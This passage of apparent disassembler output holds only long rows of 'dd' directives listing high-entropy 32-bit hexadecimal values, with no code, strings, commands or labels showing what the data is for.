9578D4D9h, 2ECC5927h dd 5A351060h, 9B16C668h, 7D130550h, 0C5458798h, 0C161EC40h dd 27E70D0Bh, 0DF06DC2Bh, 5BE82000h, 9E768DBEh, 8168989Bh dd 0C713ABCEh, 68D75DBAh, 12A1EA19h, 0ECB1F21Fh, 58F95049h dd 7B781301h, 0DADCE947h, 0A2F2442Fh, 0D2E6AFAAh, 316B205Bh dd 0F14C87C8h, 0DA387B3Bh, 3DFE4ACFh, 6B02D900h, 4F066568h dd 9E29ADC4h, 9AE0FA97h, 2F8C904Ah, 0E55CCFF9h, 0BE12F72Fh dd 0B751DB7Fh, 0EBD605B8h, 0BCB2BE77h, 0A5E77631h, 0A000C942h dd 6EC610E8h, 71DDE91Bh, 4E80E3E3h, 59873140h, 0E9698456h dd 0C8AEF34Bh, 2828292Eh, 0CAF1BB32h, 0CC57088Bh, 51014921h dd 0C3605233h, 0FAA0C5Eh, 0ED44C946h, 0C5B2FEF5h, 489A2010h dd 0AF6117F0h, 0D1C5B1FCh, 3CA1884Ch, 0DCDA2012h, 2D5D4B04h dd 815A43BDh, 0E86BA94Bh, 0E92E502Bh, 0E1A59427h, 6FA4993Ah dd 0C9B9D26h, 77346739h, 31A27B1Dh, 755ACB80h, 49E91F90h dd 0AF4EF694h, 520E6601h dd 846E7FEAh, 0F9CFAF2Bh, 4AC6AB4Dh, 4AA0F905h, 0C4B7D9CFh dd 3B68176Dh, 1059E34Dh, 593F49A0h, 0E332F316h, 0F4EB2D19h dd 27DEA79Eh, 62F56850h, 76DD7340h, 83E05D05h, 68560152h dd 14D83C96h, 0A3143F5Eh, 1D130F82h, 0DB09D3CDh, 0A9E92F08h dd 48CF305Ah, 69051344h, 0A4D9AE29h, 80E7BD6Ah, 4FAE744Ah dd 0E4E37ED1h, 7F76165Fh, 0C282EA5Ah, 5AC7878h, 60372EB8h dd 0FFB8C310h, 0FDBD035Ah, 5084C710h, 0FC488855h, 0C8E1101Eh dd 0A1534627h, 0BC480900h, 0D0F767h, 2264F22Dh, 49E9401Ch dd 5E33E29Dh, 1283C01Eh, 81841323h, 0BAF75B08h, 6CAFD702h dd 0BBAA4077h, 7EB05992h, 0E40B0C90h, 0B448052h, 2C87F63Eh dd 38AE047Fh, 0DCE0BE09h, 86D4CE04h, 84297E87h, 6BB8A198h dd 0A58471A9h, 88590585h, 0F530C5C0h, 7980735Ah, 26EC7CC2h dd 0E7FCE220h, 0B0C0E7FEh, 0A3B05005h, 53ECE8ECh, 0DD84B327h dd 88CA7483h, 0D2C3EF25h, 0BB0CD79Fh, 72B1C250h, 7EACB04Ah dd 400901B5h, 796CED4Fh, 0E04C8Eh, 2087085Ah, 820A1BE9h dd 0EEA2055Fh, 0F24B3BECh, 0D0FF9737h, 0E65CB19Bh, 266B3A58h dd 0DA538511h, 25A7F442h, 20D596DFh, 0BC9889EFh, 0EF85D1A3h dd 459F1DD1h, 0C74AB63Eh, 4FCAC4E9h, 506CFCADh, 45C69B68h dd 48155CE9h, 0B3261253h, 0A8C68074h, 5A74EA5Dh, 6FCE012Ch dd 0F7AFB218h, 47B716A7h, 0BF2F17EEh, 0FA29D144h, 427D86EAh dd 70557E97h, 63C07D9Bh, 7002EDC2h, 5A33F63Fh, 6A80CC4Ch dd 0DEFF8D38h, 5FB638EAh, 764E1798h, 305094CBh, 0B39BB7C5h dd 99622E17h, 0EB9236B3h, 0DF5B0D62h, 688591E7h, 1C5219FAh dd 0D8DB106h, 60709512h, 64F2EB34h, 0F692D5A3h, 0CE7D86DBh dd 0F6D74BFFh, 0BE5610C1h, 0E7DC298Bh, 5779B051h, 0A841004Bh dd 5B5A4B59h, 5A374C95h, 9B4C4E1h, 6C5F872Ch, 1596902Fh dd 0AA2A5668h, 0E605781h, 403C212Bh, 0F19FA4EEh, 34E9D40Bh dd 0A4CE6DE1h, 8A203F5Dh, 75BC2DA0h, 0EF73CB9Fh, 0CDBB2424h dd 3AB6E50Bh, 0D2EBFA4Bh, 0B679B7ADh, 26666804h, 772931AAh dd 5F4A397Ch, 0C6B8AF9h, 0DF9612FFh, 52D2B20Ah, 0C62F735Eh dd 9D868C03h, 0EFA052F6h, 0A0535925h, 183F4F0Bh, 560D021Bh dd 95241308h, 26B88257h, 0E0B275CFh, 0FE86F884h, 4D7BEAA6h dd 0AD4AADADh, 9B68E366h, 1D49133Eh, 2D56B381h, 5CB0DF74h dd 12C13DBEh, 6E186858h, 40F69258h, 351D66EBh, 112C3BAh dd 0FA7D17EBh, 0E85A1EDFh, 47B67370h, 0B892AABCh, 9EF7F13Bh dd 37D61063h, 97338FE0h, 0A8E1D09Bh, 0C32F817Bh, 3E8226EBh dd 31E10C82h, 0E8757507h, 4C2EF4E7h, 0DA16CCA2h, 395AC9C8h dd 15AB4A06h, 18986764h, 0EE586F32h, 0E9177633h, 334255CEh dd 751204E8h, 0E4C886F1h, 0E314FF02h, 1EA7F743h, 6E03203h dd 4B4A641h, 2D6D82EAh, 0A22865F5h, 0CA575AADh, 116809EDh dd 98165536h, 94EC294Fh, 0BC2FE985h, 528A4A5Eh, 0AF73C5D6h dd 0D14E4E8Fh, 69A820Dh, 6243F0F1h, 5AD36388h, 0EAC319C9h dd 6F10ECDAh, 81011D57h, 164897E6h, 33EED852h, 2E022818h dd 400B8318h, 3D0BF6DEh, 57252756h, 2A95108h, 0DF696A93h dd 890445F6h, 73A25FFEh, 13708858h, 0BF62675Ch, 6AE83D2Dh dd 0E9180999h, 0D59A8ADCh, 0C67B04D5h, 0EFA235FAh, 0AF85DCDh dd 0F8CABDAFh, 192DF343h, 9987C5Ch, 28A3285Bh, 0FBB425B2h dd 728A224Fh, 0A3FF1A2h, 69DB31CBh, 0D6B402FBh, 254A1049h dd 51452253h, 47F11B77h, 9A8C7B88h, 560E4036h, 52BA6805h dd 69834D79h, 0E3FF852Bh, 69EA9721h, 642B0125h, 4C327F14h dd 0DB4C7758h, 0BD10E916h, 8082E0F3h, 17614EEEh, 4840014Fh dd 97382CDCh, 0A4C50518h, 0CD06D292h, 79A7481Eh, 0D30B2558h dd 292DD346h, 8B645943h, 6A647B8Eh, 2FEF649Fh, 94C67A96h dd 0AA20A190h, 5562955Ch, 1ABE92FCh, 8644FD09h, 180707C1h dd 16938C05h, 0B295C301h, 61945F7Fh, 460E6813h, 4C727761h dd 5F5F5453h, 811D853Dh, 8995DC8Ah, 0D459CB5Fh, 0FE686225h dd 28CCFFh, 664A28AFh, 5158C309h, 25E9B901h, 0CB31225Dh dd 99735760h, 86BB400Eh, 0DD4A8243h, 417E7EF8h, 0AA8D416Ch dd 0D7A2588Ah, 0ED206997h, 48C6DA82h, 0D2E2CD01h, 2F1C080Ch dd 0ACC5619h, 0C88B5939h, 0BC5EBFB5h, 7FA168E1h, 1C718C2Ah dd 0F1F2714Eh, 4B41E9C2h, 0F493E176h, 45B913C1h, 9826CCE0h dd 0BDCA4BA7h, 5E81D073h, 2D257CF9h, 0E99EE1F6h, 8DAAB556h dd 368D4D0h, 0E0914479h, 0E955053Fh, 0CAD8BC35h, 0DEF6048Dh dd 0FF9ECE80h, 0B2A48E9Ch, 9E5451EEh, 0EA05C9C9h, 71CB6C1Fh dd 0A762DBD2h, 0F30577FAh, 34FD77B2h, 7B73F000h, 4E56BE05h dd 6C78B153h, 0D15F2F64h, 0E5963DB2h, 0C1E7A9A5h, 0B7253935h dd 6FA1A07Ah, 5F4C4F7Eh, 0EF430592h, 85AEF002h, 40D0FE9Dh dd 1219B445h, 0BFC589FEh, 97CA708Ch, 33E66948h, 73682318h dd 1F3C3A0Ch, 16C1714Eh, 1306BD04h, 95345831h, 0BB86B104h dd 17B45290h, 5E5526ACh, 441101B0h, 3F3121C8h, 0C1C4B4B0h dd 78FFBE3Bh, 0E3423030h, 0C025B29Eh, 955F43ADh, 0D0799499h dd 0C1266931h, 0A3098CE7h, 9392FC7Ah, 9A32B640h, 1C5F50Ch dd 904D38B2h, 2C76BC31h, 244067C4h, 0DBDBA5DCh, 11899748h dd 0F6B27D2Bh, 897C3284h, 0F4D21900h, 1ACB1EA6h, 80C6FE4Dh dd 68202CF5h, 0E8EF455Fh, 3627AA8Ah, 95F95229h, 2C28745Ch dd 467F802Dh, 7CA3951Bh, 0A1077499h, 7706E7C5h, 17E84CFCh dd 0F5177F56h, 80583h, 0E321128Eh, 0EB2AE970h, 2A2DD8A6h dd 691AD104h, 2DEE9657h, 78E684DAh, 2AC09D4Bh, 214FBFh dd 0E7D164B8h, 429AF781h, 5CC97025h, 0B1D209F1h, 22C3AB1Bh dd 4E0390FCh, 1E584952h, 0D4C30E0h, 0C05EF389h, 84040CBCh dd 0DD26297Fh, 8E126E57h, 5BE86DF4h, 19BBF350h, 0D8AF47A5h dd 0DE940E1h, 5DCAB661h, 0AB5074F4h, 25D19D76h, 4252AFBCh dd 68C57CEFh, 0FCE082Eh, 2AFE310Ch, 510B77Ch, 4A1A96CAh dd 4110041Fh, 0FC23C35Ch, 423F078Fh, 22D6CB9Ah, 5110255h dd 0E1A00FA8h, 774C2EA5h, 0F4C760C9h, 0F5054F28h, 0D634FCAFh dd 3E31DD20h, 0B04C4F20h, 0F9B58824h, 0E15D95D0h, 0C0030902h dd 91525801h, 9754A637h, 320A7EFFh, 0EAAFC61Fh, 96637514h dd 23D13E5Fh, 852BD0E9h, 5AB6BEA1h, 685C8C5Ah, 0B26A5A2Dh dd 0A80877B6h, 0B42D819Fh, 3E3BFA27h, 7040784h, 0BBD7BEE9h dd 70C4F4A9h, 0F20E9D0h, 0BA78B537h, 2D3D8849h, 5A86995Bh dd 6828BF2Bh, 0D805541Fh, 4A8AB0DBh, 0C45CA8D0h, 0AC12C554h dd 835212B2h, 0A0FF000Ah, 4420F205h, 803DD0ABh, 3F084E2Fh dd 1CB993E9h, 277644Fh, 2A307317h, 5F25E25Ch, 50C054CCh dd 0DA6D67BDh, 0E5810241h, 54D7602Dh, 6FE4F661h, 4B9E10F8h dd 47F6A8B0h, 38C27F72h, 0E058265Eh, 49872D07h, 22CF0707h dd 35C1FE50h, 1F141C7h, 88C13E13h, 0BA009CA9h, 0B33E5D5Eh dd 3BDA3E38h, 0C4B8CBB1h, 588A1F1h, 0FA4CB0h, 2D4F0D62h dd 154357D2h, 910605BDh, 407BCEFCh, 324BFFAEh, 68C240FEh dd 40FA0B2Eh, 47FC6CAEh, 0BB605E94h, 0C9D41B9h, 84F0E971h dd 0D1164B40h, 9E0143EBh, 1DBEE0A3h, 2A300B31h, 83540F8h dd 208088CFh, 0B6525015h, 0D6F62C44h, 4A183DE1h, 0F22D4A83h dd 0FDD1D209h, 80810889h, 0E0F26327h, 2823EA6Ah, 5B960928h dd 0E0EE4E96h, 40C219FCh dd 4C779220h, 855ACB5Fh, 0F3FF74E5h, 0D0B4E9E9h, 289561B5h dd 712C085Dh, 80ED5312h, 0D0315F09h, 625F6444h, 0FE8407E2h dd 5444F48Fh, 691D3113h, 0C0510982h, 25F95ABCh, 0B4D03699h dd 0CA1A683Ch, 0A1D8AB31h, 23CC6A78h, 66FC47C5h, 0B6204194h dd 0B5451C0Fh, 0CE276464h, 0D26B31D7h, 0A4802C02h, 0BC50C44Eh dd 0ACCB9F07h, 1E2F296h, 405B53C5h, 61F50173h, 5E080154h dd 49613057h, 6807E094h, 77091B87h, 0FE96377Bh, 0DFFA5A52h dd 9EF94FEBh, 8D7C75C4h, 0EC6FE0B3h, 646EE6F1h, 6358C6F8h dd 0F135C070h, 0B5E11F5Fh, 2B775F8h, 72A1A5Eh, 3F5A9752h dd 9959972Fh, 35A57BC1h, 17E4AD3Eh, 1BDC59Ch, 989C31CFh dd 0D5F708CDh, 0B920C983h, 0DAE34982h, 0E177320Eh, 5FFC06DFh dd 75A2BD23h, 61F4860Fh, 842FCAE8h, 8182B57Fh, 3ECE78E2h dd 0DFE2EA88h, 0D7F906F0h, 4A987725h, 119D01E4h, 5AD0081Eh dd 0F83D4A6Fh, 89BFD639h, 47AF429Bh, 4834D455h, 13C14A10h dd 17AAE97Dh, 0DFF435ABh, 21161C41h, 4BEF9F19h, 606E08A4h dd 0A650F197h, 16570203h, 0B5C035F4h, 583B6BDBh, 32EA000Dh dd 0E9E1E007h, 91994BBBh, 62B59059h, 5BCB9EBFh, 940667Ah dd 6A2F4E64h, 94A996F7h, 6012A0AEh, 0E9083429h, 64B23AB2h dd 8B7DE10Bh, 8CC15D0Eh, 0F09283F2h, 5334D38h, 8775C60Ch dd 0F0A4874Bh, 7BB0287Ch, 4E271B7h, 0E3352268h, 2DF5100Ch dd 80D1F603h, 0EF99F0C1h, 6809F57Fh, 166802AFh, 7D70A654h dd 480C2394h, 29A0D4E9h, 0FB7D62F3h, 0F70B8455h, 61D2D089h dd 82FEF89Fh, 0A457E66Dh, 0C0135BEDh, 4E0A35BEh, 581F142Fh dd 61F9B5E6h, 171755ACh, 8B165D0h, 6DF05DCDh, 1C982E10h dd 0D697F231h, 84568E0Fh, 28AFE471h, 819516A5h, 5E5F56A9h dd 8CD92889h, 7AC258B3h, 6F79D275h, 6589095Ch, 79B72770h dd 0EB5BE4A2h, 0EA5EB69Eh, 0FF28D249h, 3A454F0Bh, 0DAE48040h dd 3CDC75F6h, 0C40542CCh, 65E68806h, 0A0921AA5h, 0FE19897Dh dd 10FCC9EAh, 1CFE740Dh, 0A362C7Fh, 759D825Fh, 0A8904FECh dd 0E2BE94h, 81670A11h, 49599ACEh, 202F28B8h, 17B24677h dd 0F31C0668h, 0B4D8129Fh, 0BD53B7B4h, 0C05BEE05h, 1D5FC764h dd 7F6BA227h, 4BE96338h, 812BD4BDh, 71AA2735h, 524E3BFBh dd 1D52C2F6h, 0FE805D17h, 8479F49Bh, 5102F495h, 4EA16FF1h dd 0E05022Bh, 0DAD5CF51h, 0E90880D2h, 0AAF76017h, 3B7E3E0Dh dd 447D2862h, 1A86180h, 33E97C84h, 8374FB94h, 831439C3h dd 0A9BC108Eh, 53BA02B2h, 5767A122h, 0FE82367Ch, 618A52CCh dd 473228A1h, 56BCCE9Eh, 9DA2BE12h, 1FB268C2h, 992596ECh dd 91CD66ADh, 0D2568889h, 0A7130425h, 51AFBE40h, 4CC94CA8h dd 2341B002h, 423C3462h, 0CAB201E9h, 300AD55Ah, 71871FDh dd 0B00C2AAAh, 214B05Bh, 1A03BF57h, 70556916h, 0CA5C9507h dd 90EF0165h, 6A8A58ACh, 2E9C0CC1h, 1C703E12h, 21552472h dd 0FECA085Dh, 0E4C37A30h, 0F5D92F91h, 566242D6h, 1C57F44h dd 0F35BC60Ch, 9D5D55h, 0A7F8EC4Ah, 0F5EC76F2h, 2FBED453h dd 5BA861E3h, 12B18B2Bh, 86D9AE40h, 4913E352h, 0F27FB873h dd 0C8F31ACEh, 5DA0272Ch, 497E595h, 26C82F69h, 0FB936D1h dd 17BC20E6h, 34661F45h, 9B2494C4h, 0F90C6927h, 2E0C6DA1h dd 0AEF2FABh, 81421968h, 7C437F92h, 0E9C8BF0Fh, 1B8C1D9Ch dd 0FDD3FB25h, 624ADF90h, 5EC990E3h, 0DD11D80h, 455E1FAEh dd 3685C185h, 98D5E584h, 796598AFh, 0B78640h, 284EB17Dh dd 0B4505BF9h, 179F14Ch, 0E9D4F624h, 443A37A2h, 0BB04F18h dd 0ECE70231h, 4BDD092Ch, 0F538D24Ch, 3B7B3489h, 3C4C702Dh dd 75F6B832h, 0F87604F1h, 0A8A3E977h, 0DC5A2753h, 30F7CB22h dd 127CC3BDh, 0EA3DF77Dh, 5E0D03F0h, 7A0731B3h, 0B5743AFCh dd 0D502FA0Bh, 8B776B96h, 589E7CBDh, 6812F9F7h, 13B82B70h dd 64C1E2F5h, 8D41988h, 706EF6FAh, 558562BFh, 6897ECE4h dd 7E685E7Dh, 6BF3B5C0h, 0C2E77E8Ch, 9007E8C1h, 71D31733h dd 4F230DFAh, 0FDA16B1Dh, 0B2B9DE1h, 27745940h, 125155F8h dd 0A98DBAE9h, 9CCBDEC0h, 0EFE45ED7h, 14A6300Fh, 804C1A6Eh dd 42AE4B5Bh, 6BED81D5h, 30EC1FC1h, 5F0BD91Fh, 0FE0139FBh dd 765482B4h, 0A8552D66h, 0E90408CDh, 0F5E46504h, 123213F3h dd 0D7D4EA46h, 9376B3FBh, 58CE90C1h, 0C0A7046Eh, 6DDDEE5Bh dd 0DFAC3CECh, 3074A7B0h, 5F5E5752h, 0A676A658h, 0C7E925F1h dd 5CAD85E1h, 0BD09BB42h, 341736h, 5B305E45h, 9F3EC4Ch dd 751D1149h, 70FC5703h, 3E094891h, 0D48FF3F0h, 0B9169B92h dd 868BFBE4h, 0AB3680Bh, 1DC80230h, 800C482Dh, 40D135E1h dd 0E91912CFh, 4145E510h, 31575DBEh, 482C60EFh, 9B70297h dd 0CB0F41F5h, 0F105166Ah, 9A613F6Bh, 0E2324C5Ch, 938B0793h dd 0BF2AF47Ah, 0AC30AEDDh, 64261890h, 6E860C7Eh, 5A3E9D27h dd 45088359h, 8AF2140Ch, 0B0C8228h, 0AC77561h, 1C71496Ah dd 0FAC944DDh, 59540605h, 0D0EDB6AFh, 262C84DEh, 0B074A9ACh dd 9CC44BC0h, 8E096869h, 0FC38B565h, 3CDD5967h, 995226ACh dd 663B5100h, 205BA40h, 0E9A3B1B2h, 115FAF44h, 19E85346h dd 0E808B5C5h, 5E873BBFh, 6D012187h, 5D0802D4h, 0E92E7CC6h dd 8880E990h, 2C5A5BDDh, 4FF6F612h, 7D1E39F0h, 0BBBD5457h dd 2802CD09h, 0C92EFF72h, 0A2833E60h, 0AEBC09D5h, 70387F1Eh dd 889B6F9Dh, 0BE00884Ch, 69C93534h, 30E60981h, 0F51D7Ch dd 0B27895D3h, 0E118C04Dh, 876FB959h, 0D3C1DE4Ah, 205A1E0h dd 837EFD73h, 2040CDE9h, 25980753h, 0FBE8F40h, 0BA84837h dd 0D12B7C4Bh, 0B692BC7Dh, 16E8BD2h, 726284F4h, 7318DD45h dd 99143865h, 1CC45558h, 72B0D8E9h, 728035B9h, 0A5015B10h dd 6566E4Ch, 4FED79B0h, 1131CCE7h, 48D67717h, 6968FB1h dd 0A174EB08h, 54F36680h, 441A286Bh, 0A48309BEh, 0B0E088D9h dd 51B7CD21h, 0F8646B72h, 43096103h, 89E9010Ch, 84A5BB58h dd 56276A5Bh, 0E18A12E3h, 0AD74F514h, 19B17408h, 7F21E1C8h dd 1FB952E4h, 89C4956Eh, 5EB02518h, 42949626h, 0E055CC60h dd 0A5D8A033h, 47370013h, 9167F205h, 0C6090922h, 0C56D2DE9h dd 0FD5132C5h, 5A1E48F0h, 1B08D1F6h, 0E52B27A1h, 5EC027FDh dd 25BEE570h, 513505B1h, 0F372AE68h, 0C1F73D9Ch, 7CEB3687h dd 19450778h, 8006C311h, 0DC740D1Ah, 9D94E967h, 4900B089h dd 6DDF7EB4h, 4EDEF71Fh, 7B14C48Ah, 299BF642h, 478422BAh dd 0D63107A0h, 7DF6B572h, 471D73F1h, 3DBA4A78h, 0F5F93A4Ch dd 4C6A9110h, 0E0092FA1h, 3D26B895h, 7C791067h, 0C5F9F6C5h dd 0EC215818h, 9BEE92CEh, 36E90C84h, 92836BFh, 5BA82CD8h dd 86F66DD7h, 698045E9h, 0EAF85F77h, 0F4CA22B5h, 9D95F96h dd 0FFDE15C2h, 0C46F7E51h, 8CBFB58Bh, 0B640315Ch, 0CA810242h dd 12CE2F2Dh, 91403D42h, 589828ACh, 0BD0B77F2h, 0FFD001F5h dd 0FE254547h, 0B37F07C5h, 8DE7C04Bh, 505EA658h, 25A7D6A0h dd 665EBF5Dh, 8DC88269h, 67537416h, 4544C2E8h, 6A01E840h dd 411F721Dh, 66F1E1C1h, 0A47A3FDAh, 0B5EE4398h, 10C7BE5Ch dd 5927B099h, 74ADD1C7h, 0EC7D2549h, 808D4A6Eh, 0CB285B26h dd 0FC58592Fh, 5750E23Ah, 993E9CA2h, 76E477Dh, 911E368h dd 0AD36FB57h, 96CB16F7h, 3CB0C2B8h, 3E78B800h, 38717A5Fh dd 0A85F87D3h, 0FC2BBDACh dd 7B95A401h, 0D38B3CAFh, 6731734Eh, 0C50546F3h, 0ED7AE15Dh dd 2099540Dh, 49F603CEh, 0AC35E87Dh, 92B08541h, 0F011D719h dd 0B2D1BCAh, 53B3906Ch, 1250A368h, 0F2930D2Eh, 1320787Dh dd 0B9F7F07Ah, 46AD0073h, 0E68505Eh, 51EC6141h, 0C772ABBCh dd 0FB5F5D75h, 5185898Bh, 75F66B5Eh, 0BA24C764h, 0B7EDCFDh dd 0E5D1FFEDh, 5200D7DCh, 0A42A8EBAh, 8056CC41h, 0CC90EBABh dd 0B7787295h, 0E9417E51h, 2C80A723h, 0E5198C25h, 3528407Bh dd 685B8E2Dh, 0C69500FBh, 0B331DA0h, 17DE013Eh, 0F1CD374Ch dd 75E90F01h, 0E6C133Ah, 0D107582Fh, 8BB8B480h, 0B3530B28h dd 9901DFC8h, 6E32B450h, 0D91EF6B8h, 5B3EF730h, 0F920119Ch dd 7B5E4C68h, 0A4C08B20h, 64324308h, 620EC059h, 2DB59FE3h dd 0C570F601h, 729AE909h, 2EE23BA7h, 6BE8F9h, 0FC2DF331h dd 84015F0Ah, 8B08140Dh, 0CE45BEE4h, 0A1D1C97Eh, 0E53053D0h dd 0C351C0A4h, 589A1AD3h, 83F1D29Fh, 121C7008h, 0BF08CC41h dd 2D68712Ch, 0B34505EDh, 3E21E906h, 26853823h, 0FE74EF5Bh dd 25F483AAh, 132EF3CDh, 2860B1FAh, 4FDA6852h, 1DA5A74Fh dd 0ADEA4EE9h, 0A6AC500h, 6F090654h, 5985FC1Ch, 0F719BAABh dd 3AE7EED2h, 6CE1B88Dh, 743F1125h, 0DDDD82E3h, 203B79D7h dd 0B3868058h, 6DD1285Bh, 27297F92h, 63EA48DAh, 8765080Bh dd 4A312F82h, 99487E55h, 60070606h, 0E131DCDh, 47926DD4h dd 17625895h, 0AB88C580h, 1B68F902h, 31EED702h, 0F7A8A262h dd 5A1040D0h, 0B0915F2Fh, 0D617ABE8h, 24BC0B6Fh, 0E063E917h dd 0A7042D04h, 317EB78Fh, 5C46A9E0h, 0CDEE8ADh, 0F1EF3CEEh dd 61917704h, 29D221F6h, 792F864h, 0A87B17BEh, 9F08A22Bh dd 66A16C68h, 829C0BC8h, 309FA68h, 0B167C982h, 2E6372D4h dd 0ED690E8Dh, 19658812h, 2990BC89h, 9981ED97h, 5F639E13h dd 67CEF49Dh, 0EA376B68h, 0AC2B0581h, 0D69575DBh, 0F07025E5h dd 98790F20h, 61D9808Fh, 0C1CE735Ah, 315E500Ch, 0FEDD404Ch dd 7413DC0Ch, 0CEAA3C8Bh, 6B294CB0h, 528E5417h, 0F0340EDAh dd 0C0BAD57Ch, 682E9FA6h, 4C3DCD2Dh, 11B765D8h, 3BAB6C2h dd 12A1BCAh, 0B0F2B03Fh, 7722817h, 369502E8h, 0D6211AD5h dd 50FEC105h, 0E507FD52h, 0B35E2262h, 64B02E2h, 80FB99E0h dd 61BDF580h, 827F3F0Fh, 2450415Eh, 4BADE59Dh, 0FFC8D505h dd 0DE2FB0F3h, 0DDFC268Bh, 0A9C8290Fh, 58E7FA8Eh, 0E05A7E6h dd 0ED050D25h, 1112342Bh, 9496B8BAh, 44A125E1h, 0A2682FA9h dd 57AFBF0Fh, 0C797FC33h, 2567805Ah, 758FC9D2h, 0B2206B27h dd 0FE5F3AC3h, 0B442A7F8h, 6A20BBFEh, 26CDF648h, 2F13F487h dd 24B378C3h, 0BE21D24Ch, 666EB99h, 8BA52F8Dh, 8CC655D6h dd 0A182B528h, 0B1801C70h, 2DB49C6Ch, 7F5A725Eh, 322F685Bh dd 0DF227780h, 0CED931A9h, 4E7C8189h, 25E6B06Eh, 8DF4388Bh dd 4BFDE950h, 0BB3A741Dh, 680A36F9h, 89A72C61h, 0B2B0E373h dd 0CCB56E39h, 2843E822h, 0DE42D0h, 146B4AF5h, 63BEBB53h dd 514E6600h, 7F72C9B9h, 1E0D9806h, 0E4F34C8Eh, 8DE82F9Fh dd 0E25E66E9h, 68FB42AEh, 0A5592EA1h, 0FE49D282h, 1FCA807Ch dd 0A156AF0Ah, 0F47F06D9h, 80BD5EE3h, 0A62D5D97h, 5B432D33h dd 0FC95DD61h, 0A591B3DBh, 1CB85080h, 352C700Eh, 0EE0B38BAh dd 1C8BBC6h, 4B466D5Ch, 7DF648E9h, 0B6DED871h, 0B127121Fh dd 9366B989h, 0F5304BFEh, 17BC2D79h, 0B9B6777Dh, 1088EE4Bh dd 89A4409Dh, 2D3ECD4Ch, 775F331h, 0D273616Fh, 0A0D60C2Bh dd 77560380h, 5BC86866h, 0A565A830h, 0A73DC8FBh, 2FB2BD80h dd 58DE4146h, 0A916E302h, 8241C24Ah, 0B4225A8h, 522D4857h dd 31FBA454h, 291E4E94h, 0AF80DCDEh, 63A00FD2h, 332EE981h dd 0A98C585Dh, 40051082h, 4996EF4Ah, 0EDC097Eh, 0E1803A5Eh dd 54A011E4h, 103DCDF8h, 0F720731Dh, 8C871CDDh, 5FE98BA4h dd 0A410FCABh, 0E56F2802h, 0D05BE967h, 542C1A56h, 0AC0FB759h dd 0C04D8013h, 0FE2F03E4h, 45A502CCh, 2D6B4CB1h, 945FF377h dd 7084FAEDh, 0ED76976Ch, 90EB8350h, 0B2A62E3Ch, 0D488C57h dd 91AAC037h, 10E23480h, 0BBB01D5Bh, 4EDEE141h, 0A586DDEBh dd 8A065DFh, 0DE848FBFh, 0CFF8215Bh, 2A09414Ch, 0F3550212h dd 7BD0A538h, 0E1FDE833h, 2A25FD77h, 0A68E4857h, 59A2E983h dd 7CBE1602h, 0D5DA23A4h, 54087BF1h, 62AC329Eh, 49EC760Bh dd 0B8A9304h, 0FE39FD5Dh, 52B72ABBh, 3004EE4Fh, 0AC0EE47Bh dd 916DD5C5h, 3A59CDC3h, 0D69CAAE3h, 55CBAA93h, 3E63BD07h dd 0E909348Ch, 0F7845A9Dh, 200A7DFFh, 7E16FB6Ch, 56426FFFh dd 0FA134FE9h, 8ACF2036h, 2E6E3058h, 0C0933ADBh, 0B2204819h dd 4E3046F2h, 0C49BB75Eh, 6800177Eh, 7CC3185Ch, 0E91BB0BFh dd 56AC901h, 0CC0B4F80h, 297CFE7Fh, 36F9FFAh, 0EE09B63Ch dd 5F77467Dh, 5F5F9C3Ch, 33AB6816h, 0F060DFA6h, 28B010E3h dd 7CE78104h, 0C4EE9309h, 5C05D27Ch, 675DC0C1h, 0E9FE0D51h dd 0BE2E7549h, 0BA807679h, 5EE8579Fh, 86E07E2Dh, 48C4494Fh dd 5ED20710h, 0E9C2DDF7h, 0F6558715h, 0BE3C6503h, 0DEBAC112h dd 12BF4BF7h, 209B07ECh, 0E9458C4Fh, 54616037h, 0F44389CEh dd 80C6606Fh, 0E925C3EFh, 5BAF02EDh, 7059C251h, 0EC294B44h dd 7EA804BEh, 0CBAB185Fh, 7FF5037Ch, 0E0BB5969h, 263F5DC6h dd 13AC30A6h, 0D8ACEC03h, 91D2F958h, 4174E8Eh, 495D5A95h dd 173175CDh, 10F83329h, 987AB476h, 3A70FB17h, 0B7AFB284h dd 66142BB4h, 128CE1F7h, 71EF741Ah, 760D134h, 40EB5675h dd 733A49B7h, 6A23558h, 7431EB76h, 0C9385AD7h, 48B7BAD2h dd 0F4E95704h, 7897B28Bh, 90726B2Dh, 4685110h, 6D01A3Bh dd 49EC59h, 2F925084h, 4C7A31BEh, 0DB171857h, 0BE49349Fh dd 12907DB4h, 87EE1FEDh, 0ED703B33h, 5F215C0Bh, 660F061Ch dd 0D6804D7h, 0EA1AD12Fh, 6FB93101h, 0F7D85215h, 0A38612AFh dd 4900FB19h, 4A698DBBh, 47F09F3Ah, 0A62BF9BDh, 0A05E3C8Eh dd 0D562967Bh, 464D525Bh, 62ECF127h, 28224E3Eh, 0F8FF52FEh dd 7008583Fh, 2D8523E9h, 44B5B74h, 0FE12C646h, 5A71CEE0h dd 9A32FBB0h, 1A654D4h, 2D05B9B8h, 7A62E9FDh, 0EB802503h dd 0D80650ABh, 0EAC3F0E3h, 0A26F27E9h, 448598FDh, 0BBD1BE41h dd 14296FFh, 1208D7BAh, 87993064h, 72A94A16h, 140590AAh dd 3369564Eh, 46256012h, 0A406517Eh, 2D1BA9E4h, 20FA1282h dd 2BE7CF01h, 0EBE979BCh, 0BA009C6Ch, 5F6C03E2h, 26C0D189h dd 0B81209C9h, 0C4FFA310h, 5C2CDB87h, 1F4A0211h, 0C4E0E971h dd 0BD334E5Fh, 9652CA51h, 266D90D3h, 4BF6220h, 950B21E9h dd 8CA3ABF6h, 1476A6D6h, 22441DFh, 74D85F08h, 72EBDD01h dd 0CAD9EBADh, 26E91100h, 0F3C1C07Dh, 6A40253Eh, 0E4A5AC1h dd 0FA834FC7h, 3604731Dh, 2DBBCAE0h, 0C170D507h, 0FFF407E2h dd 0FD5A1EC2h, 27CA1BE8h, 2150377Eh, 9D1B6D94h, 0A15257EEh dd 0F7703517h, 90E74E04h, 2E62C201h, 0D427AB28h, 660C9809h dd 2096D01Fh, 5B66C663h, 0EC2E085Eh, 4DDC00FBh, 2957C505h dd 382DE919h, 2CA49987h, 7FF9EA01h, 0EE029FF9h, 1418E3D5h dd 986F045Eh, 2E6C022Ch, 427C3CC6h, 79F5C3CEh, 11686120h dd 0E8D7F43h, 2C3B643Bh, 782C68ECh, 0B5C6201Eh, 5D5376D7h dd 5D0ADF70h, 7885F51h, 0B00C7DC7h, 3B8051Bh, 29244009h dd 494771F8h, 54E48B7Fh dd 0C7D525B1h, 0A75C49D9h, 6402EC25h, 0AA2D49EBh, 55D678A1h dd 0E5FE8250h, 0DCB52370h, 0D77270h, 0AE6498C8h, 0D0BE051Ch dd 